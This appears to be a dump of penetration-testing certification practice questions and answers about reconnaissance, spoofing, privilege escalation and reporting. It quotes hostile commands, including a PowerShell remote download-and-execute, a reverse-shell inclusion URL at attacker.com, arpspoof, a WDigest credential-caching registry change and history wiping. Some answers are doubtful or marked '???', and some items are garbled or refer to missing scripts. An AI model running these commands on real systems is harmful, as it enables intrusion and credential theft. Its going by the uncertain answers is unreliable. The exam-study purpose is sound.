A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which of the following items is required? A. The latest vulnerability scan results B. A list of sample application requests C. An up-to-date list of possible exploits D. A list of sample test accounts

B. A list of sample application requests

A penetration tester notices that the X-Frame-Options header on a web application is not set. Which of the following would a malicious actor do to exploit this configuration setting? A. Use path modification to escape the application's framework. B. Create a frame that overlays the application. C. Inject a malicious iframe containing JavaScript. D. Pass an iframe attribute that is malicious.

B. Create a frame that overlays the application.

A penetration tester is attempting to capture a handshake between a client and an access point by monitoring a WPA2-PSK secured wireless network. The tester is monitoring the correct channel for the identified network, but has been unsuccessful in capturing a handshake. Given the scenario, which of the following attacks would BEST assist the tester in obtaining this handshake? A. Karma attack B. Deauthentication attack C. Fragmentation attack D. SSDI broadcast flood Reveal Solution

B. Deauthentication attack

A penetration tester has run multiple vulnerability scans against a target system. Which of the following would be unique to a credentialed scan? A. Exploits for vulnerabilities found B. Detailed service configurations C. Unpatched third-party software D. Weak access control configurations

B. Detailed service configurations

Consider the following PowerShell command:powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1");Invoke-CmdletWhich of the following BEST describes the actions performed by this command? A. Set the execution policy. B. Execute a remote script. C. Run an encoded command. D. Instantiate an object.

B. Execute a remote script.

A penetration tester is in the process of writing a report that outlines the overall level of risk to operations. In which of the following areas of the report should the penetration tester put this? A. Appendices B. Executive summary C. Technical summary D. Main body

B. Executive summary

A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task? A. From the remote computer, run the following commands: export XHOST 192.168.1.10:0.0 xhost+ Terminal B. From the local computer, run the following command: ssh -L4444:127.0.0.1:6000 -X [email protected] xterm C. From the remote computer, run the following command: ssh -R6000:127.0.0.1:4444 -p 6000 [email protected] "xhost+; xterm" D. From the local computer, run the following command: nc -l -p 6000 Then, from the remote computer, run the following command: xterm | nc 192.168.1.10 6000

B. From the local computer, run the following command: ssh -L4444:127.0.0.1:6000 -X [email protected] xterm

At the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The file is hosted on a public web server. Which of the following BEST describes the technique that was used to obtain this information? A. Enumeration of services B. OSINT gathering C. Port scanning D. Social engineering

B. OSINT gathering

During a full-scope security assessment, which of the following is a prerequisite to social engineer a target by physically engaging them? A. Locating emergency exits B. Preparing a pretext C. Shoulder surfing the victim D. Tailgating the victim

B. Preparing a pretext

An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used in this attack? A. Principle of fear B. Principle of authority C. Principle of scarcity D. Principle of likeness E. Principle of social proof

B. Principle of authority

Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO.) A. The tester discovers personally identifiable data on the system. B. The system shows evidence of prior unauthorized compromise. C. The system shows a lack of hardening throughout. D. The system becomes unavailable following an attempted exploit. E. The tester discovers a finding on an out-of-scope system.

B. The system shows evidence of prior unauthorized compromise. D. The system becomes unavailable following an attempted exploit.

A penetration tester runs the following from a compromised "˜python -c "˜ import pty;pty.spawn ("/bin/bash") '. Which of the following actions are the tester taking? A. Removing the Bash history B. Upgrading the shell C. Creating a sandbox D. Capturing credentials Reveal Solution

B. Upgrading the shell

A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below: IP: 192.168.1.20 - NETMASK: 255.255.255.0 - DEFAULT GATEWAY: 192.168.1.254 - DHCP: 192.168.1.253 - DNS: 192.168.10.10, 192.168.20.10 Which of the following commands should the malicious user execute to perform the MITM attack? A. arpspoof -c both -r -t 192.168.1.1 192.168.1.20 B. arpspoof -t 192.168.1.20 192.168.1.254 C. arpspoof -c both -t 192.168.1.20 192.168.1.253 D. arpspoof -r -t 192.168.1.253 192.168.1.20

B. arpspoof -t 192.168.1.20 192.168.1.254

Which of the following commands would allow a penetration tester to access a private network from the Internet in Metasploit? A. set rhost 192.168.1.10 B. run autoroute -s 192.168.1.0/24 C. db_nmap -iL /tmp/privatehosts.txt D. use auxiliary/server/socks4a

B. run autoroute -s 192.168.1.0/24

Given the following Python script: import socket s=socket.socket() s.connect(("192.168.1.1",22)) s.send("str") b=s.recv(1024) print b Which of the following actions will it perform? Banner grabbing ARP spoofing Port Scanner Reverse Shell

Banner grabbing

A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting "True". Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.) A. Change "˜fi' to "˜Endli'. B. Remove the "˜let' in front of "˜dest=5+5'. C. Change the "˜=' to "˜-eq'. D. Change "˜source' and "˜dest' to "$source" and "$dest". E. Change "˜else' to "˜elif'.

C. Change the "˜=' to "˜-eq'. D. Change "˜source' and "˜dest' to "$source" and "$dest".

After a recent penetration test, a company has a finding regarding the use of dictionary and seasonal passwords by its employees. Which of the following is theBEST control to remediate the use of common dictionary terms? A. Expand the password length from seven to 14 characters. B. Implement password history restrictions. C. Configure password filters D. Disable the accounts after five incorrect attempts. E. Decrease the password expiration window.

C. Configure password filters

A security assessor completed a comprehensive penetration test of a company and its networks and systems. During the assessment, the tester identified a vulnerability in the crypto library used for TLS on the company's intranet-wide payroll web application. However, the vulnerability has not yet been patched by the vendor, although a patch is expected within days. Which of the following strategies would BEST mitigate the risk of impact? A. Modify the web server crypto configuration to use a stronger cipher-suite for encryption, hashing, and digital signing. B. Implement new training to be aware of the risks in accessing the application. This training can be decommissioned after the vulnerability is patched. C. Implement an ACL to restrict access to the application exclusively to the finance department. Reopen the application to company staff after the vulnerability is patched. D. Require payroll users to change the passwords used to authenticate to the application. Following the patching of the vulnerability, implement another required password change.

C. Implement an ACL to restrict access to the application exclusively to the finance department. Reopen the application to company staff after the vulnerability is patched.

Given the following script: Which of the following BEST describes the purpose of this script? A. Log collection B. Event collection C. Keystroke monitoring D. Debug message collection

C. Keystroke monitoring

A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command: for m in {1..254..1};do ping -c 1 192.168.101.$m; doneWhich of the following BEST describes the result of running this command? A. Port scan B. Service enumeration C. Live host identification D. Denial of service Reveal Solution

C. Live host identification

A penetration tester has been assigned to perform an external penetration assessment of a company. Which of the following steps would BEST help with the passive-information-gathering process? (Choose two.) A. Wait outside of the company's building and attempt to tailgate behind an employee. B. Perform a vulnerability scan against the company's external netblock, identify exploitable vulnerabilities, and attempt to gain access. C. Use domain and IP registry websites to identify the company's external netblocks and external facing applications. D. Search social media for information technology employees who post information about the technologies they work with. E. Identify the company's external facing webmail application, enumerate user accounts and attempt password guessing to gain access.

C. Use domain and IP registry websites to identify the company's external netblocks and external facing applications. D. Search social media for information technology employees who post information about the technologies they work with.

A penetration tester is preparing to conduct API testing. Which of the following would be MOST helpful in preparing for this engagement? A. Nikto B. WAR C. W3AF D. Swagger

D. - Swagger Swagger is an open specification for defining REST APIs. A Swagger document is the REST API equivalent of a WSDL document for a SOAP-based web service. The Swagger document specifies the list of resources that are available in the REST API and the operations that can be called on those resources. It also specifies the list of parameters to an operation, including the name and type of the parameters, whether the parameters are required or optional, and information about acceptable values for those parameters. So, access to a Swagger document provides testers with a good view of how the API works and thus how they can test it.

A penetration tester is performing a remote scan to determine if the server farm is compliant with the company's software baseline. Which of the following should the penetration tester perform to verify compliance with the baseline? A. Discovery scan B. Stealth scan C. Full scan D. Credentialed scan

D. Credentialed scan

A penetration tester observes that several high-numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend? A. Transition the application to another port. B. Filter port 443 to specific IP addresses. C. Implement a web application firewall. D. Disable unneeded services.

D. Disable unneeded services.

A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client? A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation. B. Identify the issues that can be remediated most quickly and address them first. C. Implement the least impactful of the critical vulnerabilities' remediations first, and then address other critical vulnerabilities D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.

D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.

A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals. Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO). A. Cleartext exposure of SNMP trap data B. Software bugs resident in the IT ticketing system C. S/MIME certificate templates defined by the CA D. Health information communicated over HTTP E. DAR encryption on records servers

D. Health information communicated over HTTP E. DAR encryption on records servers

When performing compliance-based assessments, which of the following is the MOST important key consideration? A. Additional rate B. Company policy C. Impact tolerance D. Industry type

D. Industry type

Which of the following types of intrusion techniques is the use of an "under-the-door tool" during a physical security assessment an example of? A. Lockpicking B. Egress sensor triggering C. Lock bumping D. Lock bypass

D. Lock bypass

A penetration tester is performing ARP spoofing against a switch. Which of the following should the penetration tester spoof to get the MOST information? A. MAC address of the client B. MAC address of the domain controller C. MAC address of the web server D. MAC address of the gateway

D. MAC address of the gateway

A software development team recently migrated to new application software on the on-premises environment. Penetration test findings show that multiple vulnerabilities exist. If a penetration tester does not have access to a live or test environment, a test might be better to create the same environment on the VM.Which of the following is MOST important for confirmation? A. Unsecure service and protocol configuration B. Running SMB and SMTP service C. Weak password complexity and user account D. Misconfiguration

D. Misconfiguration

The following command is run on a Linux file system:chmod 4111 /usr/bin/sudoWhich of the following issues may be exploited now? A. Kernel vulnerabilities B. Sticky bits C. Unquoted service path D. Misconfigured sudo

D. Misconfigured sudo

After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user's home folder titled ''changepass."-sr-xr-x 1 root root 6443 Oct 18 2017 /home/user/changepass Using "strings" to print ASCII printable characters from changepass, the tester notes the following: $ strings changepass exit setuid strcmp GLIBC_2.0 - ENV_PATH - %s/changepw malloc strlen Given this information, which of the following is the MOST likely path of exploitation to achieve root privileges on the machine? A. Copy changepass to a writable directory and export the ENV_PATH environmental variable to the path of a token-stealing binary titled changepw. Then run changepass. B. Create a copy of changepass in the same directory, naming it changepw. Export the ENV_PATH environmental variable to the path '/home/user/'. Then run changepass. C. Export the ENV_PATH environmental variable to the path of a writable directory that contains a token-stealing binary titled changepw. Then run changepass. D. Run changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'.

D. Run changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'.

A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Choose two.) A. Tcpdump B. Nmap C. Wireshark D. SSH E. Netcat F. Cain and Abel

D. SSH ???

A penetration tester is required to perform OSINT on staff at a target company after completing the infrastructure aspect. Which of the following would be theBEST step for penetration? A. Obtain staff information by calling the company and using social engineering techniques. B. Visit the client and use impersonation to obtain information from staff. C. Send spoofed emails to staff to see if staff will respond with sensitive information. D. Search the internet for information on staff such as social networking sites.

D. Search the internet for information on staff such as social networking sites.

Which of the following would be the BEST for performing passive reconnaissance on a target's external domain? A. Peach B. CeWL C. OpenVAS D. Shodan

D. Shodan

A client has requested an external network penetration test for compliance purposes. During discussion between the client and the penetration tester, the client expresses unwillingness to add the penetration tester's source IP addresses to the client's IPS whitelist for the duration of the test. Which of the following is theBEST argument as to why the penetration tester's source IP addresses should be whitelisted? A. Whitelisting prevents a possible inadvertent DoS attack against the IPS and supporting log-monitoring systems. B. Penetration testing of third-party IPS systems often requires additional documentation and authorizations; potentially delaying the time-sensitive test. C. IPS whitelisting rules require frequent updates to stay current, constantly developing vulnerabilities and newly discovered weaknesses. D. Testing should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.

D. Testing should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.

A consultant is performing a social engineering attack against a client. The consultant was able to collect a number of usernames and passwords using a phishing campaign. The consultant is given credentials to log on to various employees email accounts. Given the findings, which of the following should the consultant recommend be implemented? A. Strong password policy B. Password encryption C. Email system hardening D. Two-factor authentication

D. Two-factor authentication

During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10 OS. The tester wants to perform credential harvesting with Mimikatz. Which of the following registry changes would allow for credential caching in memory? A. reg add HKLM\System\ControlSet002\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 0 B. reg add HKCU\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1 C. reg add HKLM\Software\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1 D. reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

D. reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

Which of the following vulnerabilities are MOST likely to be false positives when reported by an automated scanner on a static HTML web page? (Choose two.) A. Missing secure flag for a sensitive cookie B. Reflected cross-site scripting C. Enabled directory listing D. Insecure HTTP methods allowed E. Unencrypted transfer of sensitive data F. Command injection G. Disclosure of internal system information H. Support of weak cipher suites

F. Command injection G. Disclosure of internal system information

A penetration tester is designing a phishing campaign and wants to build list of users of the target organization. Which of the following techniques would be the MOST appropriate? (Select TWO) Harvest users from social networking sites. Scrape the company website. Search posted job listings. Socially engineer the corporate call center. Query an Internet WHOIS database.

Harvest users from social networking sites. Scrape the company website.

A penetration tester has compromised an internal Windows server during an assessment and wants to perform post-exploitation attacks against other machines on the network. Which of the following would be MOST effective to download additional tools from the remote server? Remote file inclusion SNMP PowerShell B: Download and execute "hack.ps1" Scheduled task

PowerShell

A penetration tester has modified a buffer overflow exploit to evade data execution prevention. Which ?....? escalate privilege by gaining a shell Sticky bits Recon-ng Responder Ret2libc

Ret2libc

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.phpWhich of the following remediation steps should be taken to prevent this type of attack? A. Implement a blacklist. B. Block URL redirections. C. Double URL encode the parameters. D. Stop external calls from the application.

Stop external calls from the application.

A penetration tester is performing initial intelligence gathering on some remote hosts prior to conducting a vulnerability scan.The tester runs the following command:nmap -p 192.168.1.1, 192.168.1.2, 192.168.1.3 -sV -o --max-rate 2 192.168.1.130Which of the following BEST describes why multiple IP addresses are specified? The network is subnetted as a/25 or greater, and the tester needed to access hosts on two different subnets. The tester is trying to perform a more stealthy scan by including several bogus addresses. The scanning machine has several interfaces to balance the scan request across at the specified rate. A discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host.

The tester is trying to perform a more stealthy scan by including several bogus addresses. --max-rate sets packets sent per second (2 packets per second in this case)

A penetration tester has successfully exploited an application vulnerability and wants to remove the command history from the Linux session. Which of the following will accomplish this successfully? cat history I clear history -c rm -f ./history history --remove

history -c

A manager calls upon a tester to assist with diagnosing an issue within the following Python script:#!/usr/bin/pythons = "Administrator"The tester suspects it is an issue with string slicing and manipulation. Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment. Options may be used once or not at all.

nist nsrt imdA strat